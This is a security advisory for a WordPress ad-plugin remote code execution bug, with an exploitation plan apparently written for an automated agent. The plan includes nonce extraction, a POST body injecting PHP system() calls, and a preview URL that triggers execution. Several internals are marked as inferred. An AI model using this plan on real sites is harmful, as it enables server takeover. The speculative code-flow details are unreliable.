Advanced Ads – Ad Manager & AdSense <= 2.0.21 - Authenticated (Contributor+) Remote Code Execution
Description
The Advanced Ads – Ad Manager & AdSense plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.0.21. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:HTechnical Details
What Changed in the Fix
Changes introduced in v2.0.22
Source Code
WordPress.org SVN# Research Plan: CVE-2026-54816 - Advanced Ads Contributor+ Remote Code Execution ## 1. Vulnerability Summary The **Advanced Ads** plugin (<= 2.0.21) is vulnerable to **Remote Code Execution (RCE)** due to improper capability checks when saving or processing Ad content. Specifically, the plugin all…
Show full research plan
Research Plan: CVE-2026-54816 - Advanced Ads Contributor+ Remote Code Execution
1. Vulnerability Summary
The Advanced Ads plugin (<= 2.0.21) is vulnerable to Remote Code Execution (RCE) due to improper capability checks when saving or processing Ad content. Specifically, the plugin allows users with the Contributor role (who have edit_posts capability) to create or modify Ads that contain executable PHP code. While the "PHP Code" ad type should be restricted to administrators, the lack of a proper server-side validation or capability check (current_user_can('manage_options')) allows lower-privileged users to inject and execute arbitrary PHP code on the server.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(for saving/updating ads) orwp-admin/post-new.php?post_type=advanced_ads. - Target Post Type:
advanced_ads. - Vulnerable Parameter:
post_content(the ad body) andadvanced_ad[type](the ad type selector). - Authentication: Authenticated, Contributor-level access or higher.
- Preconditions: The plugin must be active. No specific settings are required, as the vulnerability lies in the default handling of the
advanced_adspost type.
3. Code Flow
- Entry Point: A Contributor user navigates to
wp-admin/post-new.php?post_type=advanced_ads. - Form Submission: The user submits a POST request to
wp-admin/post.phpto save the ad. - Internal Processing:
- WordPress triggers the
save_posthook, which the plugin likely hooks into via a method such asAdvanced_Ads_Admin::save_ad_meta()(inferred). - The plugin reads the
advanced_ad[type]parameter from the$_POSTarray. - If the type is set to
php, the plugin should check if the user hasmanage_optionscapability before allowing this type. In the vulnerable version, this check is either missing or only implemented on the client-side (UI).
- WordPress triggers the
- Sink: The PHP code is stored in the
post_contentfield of thewp_poststable. - Trigger: When the Ad is previewed or rendered (via the "Preview" button or by viewing the ad's permalink/shortcode), the plugin passes the
post_contentthrough an execution engine (e.g.,eval()or a custom wrapper) because the ad type is flagged asphp.
4. Nonce Acquisition Strategy
To save a post in WordPress, a valid _wpnonce for the update-post_[ID] action is required.
- Identify Entry: Navigate to the "New Ad" page.
- Action: Use
browser_navigatetowp-admin/post-new.php?post_type=advanced_ads. - Extraction: Use
browser_evalto extract the_wpnoncefrom the hidden input field in the#postform. - Localization: The plugin likely localizes admin data. Check
window.advads_admin_commonorwindow.advanced_ads_adminfor additional nonces if AJAX is used.- Command:
browser_eval("document.querySelector('#_wpnonce').value")
- Command:
5. Exploitation Strategy
Step 1: Authentication
Log in as a user with the Contributor role.
Step 2: Create a Malicious Ad
Send a POST request to post.php to create an ad of type php containing the payload.
- URL:
http://vulnerable-test.local/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_type:advanced_adspost_ID: (The ID of the ad created duringpost-new.phpaccess)_wpnonce: (Extracted nonce)post_title:RCE Exploitcontent:<?php system('whoami; id'); ?>advanced_ad[type]:php(This is the critical parameter)advanced_ad[output]:plain(inferred)
Step 3: Trigger Execution
Navigate to the "Preview" URL for the newly created Ad ID.
- URL:
http://vulnerable-test.local/?post_type=advanced_ads&p=[AD_ID]&preview=true
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin Setup: Ensure the "Advanced Ads" plugin is active.
wp plugin activate advanced-ads
7. Expected Results
- The HTTP response for the "Preview" page should contain the output of the
whoamiandidcommands (e.g.,www-data uid=33(www-data) gid=33(www-data)). - The
post_contentin the database will contain the raw PHP code.
8. Verification Steps
After the exploit, verify the persistence of the payload and the ad configuration using WP-CLI:
- Check Ad Type:
wp post get [AD_ID] --field=post_content - Check Meta:
wp post meta list [AD_ID](Look for_advanced_ads_ad_typeset tophp). - Confirm Execution: Check the server logs or the output of the preview URL.
9. Alternative Approaches
If the post.php route is blocked by standard WordPress security logic for Contributors:
- AJAX Route: Check for the AJAX action used to save ads.
- Look for
wp_ajax_advads_save_ador similar in the source. - Use
http_requestto send a crafted AJAX request with thephptype.
- Look for
- Block Editor (Gutenberg): If the plugin uses blocks, attempt to save the ad via the REST API (
/wp/v2/advanced_ads/[ID]). This often bypasses oldersave_postvalidation logic. - Ad Health Trigger: If
admin/includes/ad-health-notices.phpis part of a larger system that allows triggering "Asset Rebuilds," attempt to inject code into the asset folder path via settings.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.